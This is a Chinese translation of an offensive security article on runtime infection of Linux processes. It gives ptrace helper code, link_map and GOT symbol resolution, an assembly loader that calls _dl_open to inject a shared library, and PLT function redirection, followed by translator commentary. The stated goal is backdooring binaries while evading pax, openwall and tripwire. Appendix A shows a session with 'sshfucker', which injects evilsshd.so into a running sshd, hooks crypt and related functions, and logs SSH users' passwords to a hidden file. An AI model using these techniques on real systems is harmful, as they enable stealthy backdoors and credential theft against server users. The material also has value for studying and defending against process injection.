运行期进程感染(Infection)
--[ 目录
1 - 介绍
2 - ptrace() - Linux调试API函数
3 - 解析符号
4 - 简单的汇编代码注射(injection) - 老式的方法
5 - .so注射(injection) - 简单的方法
6 - 一个关于共享库重定向的简短注释
7 - 结论
8 - 参考文献
9 - 译者心得
A - 附录 - sshfucker: 运行期sshd传染器(infector)
--[ 1 - 介绍
这篇文章的目的是介绍一个在运行期传染(infecting)二进制代码的方法,虽然在许
多地方都可以使用这种技术,但是我们将主要关注一小部分可能带来更大危害的事情,
比如backdooring binaries。然而,本文既不是ELF(Linux缺省可执行类型)
指南也不是linking向导。这里将假定读者对ELF有一定的了解。这篇文章的
内容是特定于X86下的LINUX系统,但是同样的技术和方法也能很好的应用到其它
平台之上。
--[ 2 - ptrace() - Linux调试API函数
Linux为进程的跟踪调试提供了一个简单的函数,它能很好的完成我们需要去
做的每件事情。在这里,我们将不去深入的讨论ptrace(),因为它非常简单而且
差不多我们需要知道的所有关于它的内容都可以在man手册中找到。但是我们将介
绍一些辅助函数以使ptrace()工作更容易,如下:
/* 关联到进程 */
void
ptrace_attach(int pid)
{
if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) {
perror("ptrace_attach");
exit(-1);
}
waitpid(pid , NULL , WUNTRACED);
}
/* 继续执行 */
void
ptrace_cont(int pid)
{
if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) {
perror("ptrace_cont");
exit(-1);
}
while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);
}
/* 脱离进程 */
void
ptrace_detach(int pid)
{
if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) {
perror("ptrace_detach");
exit(-1);
}
}
/* 从指定地址读数据 */
void *
read_data(int pid ,unsigned long addr ,void *vptr ,int len)
{
int i , count;
long word;
unsigned long *ptr = (unsigned long *) vptr;
count = i = 0;
while (count < len) {
word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \
NULL);
count += 4;
ptr[i++] = word;
}
}
/* 写数据到指定地址 */
void
write_data(int pid ,unsigned long addr ,void *vptr,int len)
{
int i , count;
long word;
i = count = 0;
while (count < len) {
memcpy(&word , vptr+count , sizeof(word));
word = ptrace(PTRACE_POKETEXT, pid , \
addr+count , word);
count +=4;
}
}
--[ 3 - 解析符号
只要我们在计划对任何一种函数进行截取或修改,我们就需要一些方法去定位在
二进制代码中的某个函数。我们现在使用link-map去做这些。link-map是动态连接器
内部使用的一个结构,通过它保持对已装载的库和库中符号的跟踪。实际上link-map是一个
链表,表中的每一项都有一个指向装载库的指针。就象动态连接器所做的,当需要去
查找符号的时候,我们能向前或向后遍历这个链表 ,通过访问链表上的每一个库去
发现我们要找的符号。link-map由每个目标文件的GOT(全局偏移表)的第二个入
口(GOT[1])指向。对我们来说,从GOT[1]读取link-map结点地址,然后沿着link-map结点进
行
搜索,直到发现我们想去查找的符号,这并没有什么困难。
在link.h中:
struct link_map
{
ElfW(Addr) l_addr; /* 共享对象被装载的基地址
char *l_name; /* 在里面发现目标的绝对文件名 */
ElfW(Dyn) *l_ld; /* 共享对象的Dynamic section(动态区域) */
struct link_map *l_next, *l_prev; /* 被装载对象的链 */
};
这个结构非常清晰,无须加以说明。但是不管怎样,在这里我们还是对其中的每一项
加以简短的说明。
l_addr: 共享对象被装载的基地址,这个值也能在/proc/<pid>/maps找到
l_name: 指向在string table中的库名的指针
l_ld: 指向共享对象的dynamic section(动态区域)的指针
l_next: 指向下一个link_map结点的指针
l_prev: 指向前一个link_map结点的指针
这个用link_map结构来解析符号的想法是简单的,我们遍历link_map链表,比较每个l_name
项,
直到我们的符号所在的库被发现。然后我们移到l_ld结构并搜索dynamic section(动态区域
)
直到DT_SYMTAB和DT_STRTAB被发现,最终我们能从DT_SYMTAB找到我们的符号。
这可能很慢,但对我们举例子来说应该很好。使用HASH table(哈希表,即散列表)
进行符号查找将是快速的也是首选的,但是那是留给读者做练习的;D。
让我们来看一些能让我们生活得轻松些的使用link_map结构的函数。
下面的代码是基于grugq在邮件列表中发表的post[1]里的代码(见附录部分),
我们改为使用ptrace()在不同的进程地址空间内进行解析:
/* 定位在指定进程内存空间中的link-map */
struct link_map *
locate_linkmap(int pid)
{
Elf32_Ehdr *ehdr = malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = malloc(sizeof(Elf32_Phdr));
Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn));
Elf32_Word got;
struct link_map *l = malloc(sizeof(struct link_map));
unsigned long phdr_addr , dyn_addr , map_addr;
/* 首先我们从elf header开始检查,它被映射在0x08048000处,
* 通过它计算出program header table的偏移,
* 然后从这里开始我们试着去定位PT_DYNAMIC区域。
*/
read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));
phdr_addr = 0x08048000 + ehdr->e_phoff;
printf("program header at %p\n", phdr_addr);
read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr));
while ( phdr->p_type != PT_DYNAMIC ) {
read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \
sizeof(Elf32_Phdr));
}
/* 现在我们搜索dynamic section(动态区域),直到我们发现GOT的地址
*/
read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn));
dyn_addr = phdr->p_vaddr;
while ( dyn->d_tag != DT_PLTGOT ) {
read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\
sizeof(Elf32_Dyn));
}
got = (Elf32_Word) dyn->d_un.d_ptr;
got += 4; /* 第二个GOT入口,还记得吗?
/* 现在仅仅读取第一个link_map项并返回它 */
read_data(pid, (unsigned long) got, &map_addr , 4);
read_data(pid , map_addr, l , sizeof(struct link_map));
free(phdr);
free(ehdr);
free(dyn);
return l;
}
/* 搜索DT_SYMTAB和DT_STRTAB的位置并把它们保存到全局变量中,
* 同样也保存来自hash table的链数组项数到nchains。
*/
unsigned long symtab;
unsigned long strtab;
int nchains;
void
resolv_tables(int pid , struct link_map *map)
{
Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn));
unsigned long addr;
addr = (unsigned long) map->l_ld;
read_data(pid , addr, dyn, sizeof(Elf32_Dyn));
while ( dyn->d_tag ) {
switch ( dyn->d_tag ) {
case DT_HASH:
read_data(pid,dyn->d_un.d_ptr +\
map->l_addr+4,\
&nchains , sizeof(nchains));
break;
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
break;
case DT_SYMTAB:
symtab = dyn->d_un.d_ptr;
break;
default:
break;
}
addr += sizeof(Elf32_Dyn);
read_data(pid, addr , dyn , sizeof(Elf32_Dyn));
}
free(dyn);
}
/* 从DT_SYMTAB(注:这是符号表)中发现符号 */
unsigned long
find_sym_in_tables(int pid, struct link_map *map , char *sym_name)
{
Elf32_Sym *sym = malloc(sizeof(Elf32_Sym));
char *str;
int i;
i = 0;
while (i < nchains) {
read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym,
sizeof(Elf32_Sym));
i++;
if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue;
/* 从string table中读取符号名*/
str = read_str(pid, strtab + sym->st_name);
if(strncmp(str , sym_name , strlen(sym_name)) == 0)
return(map->l_addr+sym->st_value);
}
/* 如果没有找到符号,返回0 */
return 0;
}
我们用nchains(chain array中的项数)保存了在每个库中需要去检查的符号数量,
因此,如果万一我们要查找的符号没有被发现,我们可以知道在什么地方停止查找。
--[ 4 - 简单的汇编代码注射(Injection) - 老式的方法
我们将跳过这部分,因为我们时间很少并且我们对此也没有什么兴趣。
简单的pure-asm注射器(injectors)介绍已经到处都有了,而且相关技术
大概已经非常清楚了,因为它仅仅是将操作码简单的写到进程的内存空间,覆盖掉
原来的数据,用sbrk()分配或在别处为自己的代码找到空间。不过怎么说都有其它
的方法使你不必担心为你的代码查找空间(至少在处理动态链接的二进制代码时如此),
我们下次再讨论这个问题。
--[ 5 - .so injection(共享库注射) - 简单的方法
代替进行纯汇编代码注射(injecting)的方法,我们能强迫进程去装载我们的共享库,
并让运行期动态连接器去为我们做所有的辛苦工作(dirty work)。这么做的好处是简单明了
,
我们能使用纯C语言去写全部的.so共享库并且调用外部符号。libdl提供了一个到动
态链接装载器的编程接口,但是快速浏览libdl原始资料会向我们显示出dlopen() ,
dlsym()和dlclose()等大量函数只不过是加了额外错误检测的包装函数,而真正的
函数却在libc中。这里的_dl_open()的原型是来自glibc-2.2.4/elf/dl-open.c:
void *
internal_function
_dl_open (const char *file, int mode, const void *caller);
参数和dlopen()的参数差不多,只有一个额外的参数 *caller,它是一个指向调用例程
的指针,它对我们并不是很重要,我们可以忽略它。有了_dl_open 这个函数,我们
将不需要其它dl*函数了。
至此,我们知道了能把我们共享库装载进进程的函数了。现在我们可以写一小段汇编
代码,用它来调用_dl_open()函数装载我们的库,这就是我们要做的。需要记住的一件
事情就是,_dl_open()是作为'internal_function'定义的,那意味着这个函数的参数
将通过稍微不同的方法来传递,用寄存器代替堆栈。在这我们看看参数的传递次序:
EAX = const char *file
ECX = const void *caller (we set it to NULL)
EDX = int mode (RTLD_LAZY)
有了这个有用的信息,我们将介绍我们的微小的.so共享库装载器代码:
_start: jmp string
begin: pop eax ; char *file
xor ecx ,ecx ; *caller
mov edx ,0x1 ; int mode
mov ebx, 0x12345678 ; addr of _dl_open()
call ebx ; call _dl_open!
add esp, 0x4
int3 ; breakpoint
string: call begin
db "/tmp/ourlibby.so",0x00
用good'old aleph1-style技巧我们使我们的装载器对位置没有依赖(实际上它不是必须
如此,因为我们能把它放到任何我们想放的地方)。在'call'之后我们放置了int3,
因此在此处进程将停止执行,这样我们能再次使用备份的原始代码覆盖我们的装载器。
_dl_open()的地址仍然不知道,但是我们能很容易的把它补到后面的代码中。
一个更干净得方法就是通过ptrace(pid, PTRACE_GETREGS,...)得到寄存器并把参数写到
user_regs_struct结构中,储存在堆栈中的库路径串,注射(inject)普通的int 0x80和int
3,
但是,它确实仅仅是一件爱好的问题,以及你花多少力气做这件事。对于.so注射
(injection),
这明显不能在静态编译的二进制代码中工作,因为静态二进制不使用动态链接器装载动态
库。
对这样的二进制代码你就不得不去想一些别的方法,也许是plain-asm代码
注射(injection),也许是别的什么。注射(injecting)共享目标的另外一个缺点就是通过
查看/proc/<pid>/maps,它能被轻易的发现。尽管你可以用lkm's / kmem patching隐藏它
们,
或者可以用新符号传染(infecting)存在的并且已经被装载了的库,然后强制重载它们。
不管怎样,如果谁有去解决这些问题的好想法,我将很喜欢去听。
--[ 6 - 一个关于共享库重定向的简短注释
为了运行期传染(infection),函数重定向是最明显要去做的事情。就象Silvio Cesare在他
的
paper [2]中出示给我们的,PLT(程序联接表)是去做这件事的最干净最容易的方法。
通过linkmap在执行的PLT中得到指针是容易的,link_map表的第一个结点PLT[0]中有指向可
执
行的动态区域,从那里我们能寻找到DT_SYMTAB部分(就象我们为所有对象所做的),
可执行DT_SYMTAB入口实际上就是PLT的一部分。重定向做的就是替换PLT中相应函数
的跳转入口,用我们装载的.so共享库中我们自己的函数代替它。
--[ 7 - 结论
运行期传染(infection)真的是一种非常有趣的技术。它不仅仅可以通过pax, openwall和其
它
这样的核心补丁,而且在tripwire和其它文件完整型检查器中也表现良好。做为运行期传染
(infection)能力的示范,我包含进来了一点sshd-infector(sshd传染器)在这篇文章的尾
部。
它监视crypt()的能力很强,用户的PAM和md5密码经由sshd被记录。见附录A.
--[ 8 - 参考文献
[1] More elf buggery, bugtraq post, by grugq
http://online.securityfocus.com/ ... -07-10/2002-07-16/2
[2] Shared lib redirection by Silvio Cesare
http://www.big.net.au/~silvio/lib-redirection.txt
Subversive Dynamic Linking, by grugq
http://online.securityfocus.com/data/library/subversiveld.pdf
Shaun Clowes's Blackhat 2001 presentation slides
http://www.blackhat.com/presenta ... lowes/injectso3.ppt
Tool Interface Standard (TIS) Executable and Linking Format Specification
http://x86.ddj.com/ftp/manuals/tools/elf.pdf
ptrace(2) man page
http://www.die.net/doc/linux/man/man2/ptrace.2.html
-- [ 9 - 译者心得
首先感谢alert7对文章中几处翻译不妥之处的修改,把我从“误人子弟”的边缘挽救
了回来:),实在不好意思,不多说了,开始讲讲心得。
这篇文章写的简单了些,如果你对inject或ELF不太了解,你就不能很好的了解作者讲
述的内容及目的,下面我将围绕Injectso进行一点简单的介绍与讨论。
所谓Inject,就是通过某种操作去影响程序或进程,使我们能对其行为进行观察、改
变或控制。通过使用Inject,我们可以完成很多有意义的工作,例如,为程序打补丁、
对程序进行的调用进行拦截或替换等等。有多种Inject技术,象Binary Patching、
In Core Patching、Injlib和Injectso等,而这篇文章所讲述的内容是针对Injectso。
通过Injectso我们可以在一个指定的进程内调用我们自己编写的共享库中的代码,与
其它Inject技术相比,它的好处就是,我们要在目标进程内进行的很多操作都可以通
过C语言编写,并且与静态的Inject相比,Injectso可以打破pax, openwall等的限制,
这样就使它变得非常简单和安全。
Injectso与Injlib很类似,只不过Injlib是在windows下使用,而Injectso是在UNIX下。
Injectso与
Injlib一样都需要通过以下几个步骤来完成工作:
1 关联到目标进程
2 在目标进程内找到装载共享库的函数地址
3 在目标进程内调用装载例程
4 通过调用共享库中我们的代码做我们想做的操作
在Injlib中,第一步可以通过OpenProcess()来完成,而第二步我们可以利用在WINDOWS
中所有进程中的KERNEL32.DLL映象地址都相同的特点,通过调用LoadLibrary(),
GetProcAddress()函数来得到装载共享库的函数地址LoadLibrary()的地址。第三步我们
可以使用VirtualAllocEx()在目标进程内分配一块可执行、可读写的内存,将我们的装载
例程拷贝到此内存,然后调用CreateRemoteThread()在目标进程内创建一个使用我们拷贝
的例程的线程即可。而Injectso则不同,我们以linux为例。
在linux下,就象在这篇文章中所介绍的,Linux为进程的跟踪调试提供了一个简单的函数,
我们可以使用它来对目标进程进行关联和读写等操作,这样第一步我们即可通过文章中介
绍的ptrace_attach(int pid)来完成。第二步的完成与Injlib不同,因为LINUX中每个进
程中的共享库的地址映象是不同的,因此在windows中的方法是不可行的。在LINUX装载库
中,装载共享库的函数是dlopen()和_dl_open(),而找到它们地址的方法就是文章中介绍
的解析符号的方法,我们可以通过遍历link-map,找到我们想使用的函数的地址。
link-map和文章介绍的很多内容都涉及到了ELF,所以你一定要了解它,网上相关的资料
很多。在这里我就不介绍了,说的太多,就跑题了:)。我们再来说第三步,和你猜的一样,
这一步的实现也与Injlib不同,为什么呢?因为linux中没有VirtualAllocEx(),
CreateRemoteThread()的等价函数,因此我们只好另想办法。这就是文章的5.中介绍的微
小的.so共享库装载器代码,通过它我们即可实现目的,但是他并没有说怎样去执行装载例
程,所以我来说一下。简单的说,我们可以通过在目标进程内构造参数并设置堆栈来完成调
用(设置寄存器和堆栈使用文中介绍的ptrace)具体需要设置的信息,可以从这里找到:
_start: jmp string
begin: pop eax ; char *file
xor ecx ,ecx ; *caller
mov edx ,0x1 ; int mode
mov ebx, 0x12345678 ; addr of _dl_open()
call ebx ; call _dl_open!
add esp, 0x4
int3 ; breakpoint
string: call begin
db "/tmp/ourlibby.so",0x00
需要设置的寄存器,要跳转的地址都可以得到,别忘了,_dl_open()的地址在第二步中已经
得到了:)。
至此,关键的问题都已解决,而重点就是文章中介绍的link-map和.so共享库装载器代码部
分,如果没记住,可以再返回去看看。Injectso涉及到很多内容,比如共享库、进程的调试
和ELF等,相关的信息可以参看作者所列出的参考文献,更详细的文章和实现的细节准备以
后再写出来,如果在文章的翻译和最后所附加的内容中有不准确或错误的地方或你有新的想
法,欢迎给我E-MAIL:<grip2@etang.com>
--[ 附录A - sshfucker: 运行期 sshd 传染器(infector)
sshf typescript:
root@:/tmp> tar zxvf sshf.tgz
sshf/
sshf/sshf.c
sshf/evilsshd.c
sshf/Makefile.in
sshf/config.h.in
sshf/configure
root@:/tmp> cd sshf
root@:/tmp/sshf> ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam
-DHAVE_CONFIG_H
gcc -w -o sshf sshf.c
root@:/tmp/sshf> ps auwx | grep sshd
root 9597 0.0 0.3 2840 1312 ? S 03:04 0:00 sshd
root@:/tmp/sshf>
root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf>
root@:/tmp/sshf> ssh -l luser 127.0.0.1
luser@127.0.0.1's password:
[luser@localhost:~>ls -al /tmp/.sshd_passwordz
-rw-r--r-- 1 root root 104 Jul 14 03:27
/tmp/.sshd_passwordz
[luser@localhost:~>exit
Enjoy.